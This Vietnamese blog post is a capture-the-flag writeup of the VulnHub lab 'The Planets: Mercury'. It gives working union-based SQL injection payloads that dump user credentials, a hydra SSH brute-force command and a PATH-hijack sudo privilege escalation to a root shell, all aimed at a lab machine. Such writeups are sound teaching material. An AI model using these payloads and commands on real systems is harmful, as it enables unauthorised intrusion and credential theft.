Home The Planets: Mercury Writeup - VulnHub
Post
Cancel

The Planets: Mercury Writeup - VulnHub

Download THE PLANETS: MERCURY

Level: Easy

Scanning


Sử dụng arp-scan để xác định ip máy chủ mục tiêu

scan ip

Sau khi xác định được ip, tiến hành scan các port dịch vụ. Thử scan các known port trước cho đỡ tốn thời gian

scan port

Thấy được 2 services đang hoạt động, ssh port 22 và web server port 8080. Thử truy cập webpage http://10.0.2.4:8080 xem khám phá được gì không

run website

Response trả về là 1 thông báo rằng site đang trong quá trình phát triển, ta có thể đoán có 1 hoặc 1 số ứng dụng web đang chạy trên máy mục tiêu. Tiến hành enumerate files phổ biến, có thể sử dụng tools dirb, dirsearch, gobuster, …

enumerate files

Truy cập /robots.txt cũng không có manh mối gì. Nhưng may mắn thay, trong khi mình thử random 1 số file thì nó hiển thị ra 1 số errors do dev quên không tắt tính năng debug :))

enumerate files

Phát hiện được có tồn tại một folder mercuryfacts/. Truy cập nó và xem nó có gì

mercuryfacts

load a fact

Ở đây có xuất hiện 2 link, Truy cập Load a fact thì trang này có chứa dữ liệu trả về theo id từ url, khả năng gọi từ database nên mình test thử sql injection bằng cách chèn nháy đơn:

sql error

Không còn nghi ngờ gì nữa, site này dính SQLi và trang debug hiển thị lỗi sql, cho thấy rằng payload của ta được chấp nhận để truy vấn vào database. Hơn thế nữa, dựa vào syntax error xác định được Union-based SQLi. Mở Burp và tiến hành khai thác.

Exploitation

Thử câu truy vấn “thần thánh” or 1=1 để bắt đầu khai thác:

1
/mercuryfacts/1 or 1=1

exploit

Đúng như mong đợi, kết quả là đã dump được tất cả các row trong sự kiện này (À, trước khi gửi request thì url-encode đã nhé!)

Tiếp tục với câu lệnh UNION, tiến hành exploit tên database

1
/mercuryfacts/1 union select database()

exploit

Tìm tên các bảng từ database đã tìm được, tham chiếu từ information_schema.

1
/mercuryfacts/1 union select group_concat(table_name) from information_schema.tables where table_schema='mercury'/

exploit

Có 2 bảng được trích xuất, nhưng chỉ cần quan tâm đến bảng users.

1
/mercuryfacts/1 union select group_concat(column_name) from information_schema.columns where table_schema='mercury' and table_name='users'/

exploit

Lần lượt dump username và password.

1
/mercuryfacts/1 union select group_concat(username) from users/

exploit

1
/mercuryfacts/1 union select group_concat(password) from users/

exploit

Nhớ ra rằng ssh đang chạy cổng 22. Quá là lười thử từng username và password nên mình sẽ lựa chọn hydra để tổ hợp từng username password và login vô ssh.

1
hydra -L username.txt -P password.txt ssh://10.0.2.4 -V

exploit

Kết quả có 2 combination (nhưng là vì lab này đã được custom lại nên có thêm user cmcleuleu, còn bản gốc thì user_flag nằm ngay trong user webmaster). Tiến hành login user cmcleuleu và get user flag.

user flag

Switch user qua webmaster và thực hiện Privilege Escalation.

Privilege Escalation

Khám phá một lúc thì phát hiện được có 1 secret notes nằm trong thư mục dự án

secret notes

Decode base64 ta nhận được password của linuxmaster, su linuxmaster và tìm kiếm root flag

linuxmaster user

Kiểm tra đặc quyền của linuxmaster thông qua sudo -l

linuxmaster privilege

Có thể thấy, user có thể thực thi script /usr/bin/check_syslog.sh với quyền root và lại được set preserved environment. Kiểm tra xem file check_syslog.sh có gì:

check_syslog.sh

User không có quyền ghi file check_syslog.sh nhưng có thể thực thi nó, hơn thế nữa trong shell script có chứa lệnh tail được gọi. Ý tưởng là ghi đè lệnh tail để gọi shell cùng với đó là chạy dưới quyền root.

1
2
3
linuxmaster@cmclabs1:~$ echo "/bin/bash" > tail
linuxmaster@cmclabs1:~$ chmod 777 tail
linuxmaster@cmclabs1:~$ export PATH=$(pwd):$PATH

Cuối cùng, thực thi script check_syslog.sh dưới chế độ preserved environment cho PATH:

1
sudo --preserve-env=PATH /usr/bin/check_syslog.sh

bÙm…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@cmclabs1:/home/linuxmaster# cd /root
root@cmclabs1:~# ls
root_flag.txt
root@cmclabs1:~# cat *
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@
@@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@
@@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@
@@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@
@@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@
@@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@
@@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@
@@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@
@@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@
@@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@
@@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@
@@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@
@@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@
@@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@
@@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@
@@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@
@@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Congratulations!!!
If you have any feedback please contact me at autosys@cmcinfosec.com
[root_cmcsoc_flag_1a7e3807f7122beb1527b54d6b46aad3]
This post is licensed under CC BY 4.0 by the author.

OverTheWire - bandit Writeup

The Planets: Earth Writeup - VulnHub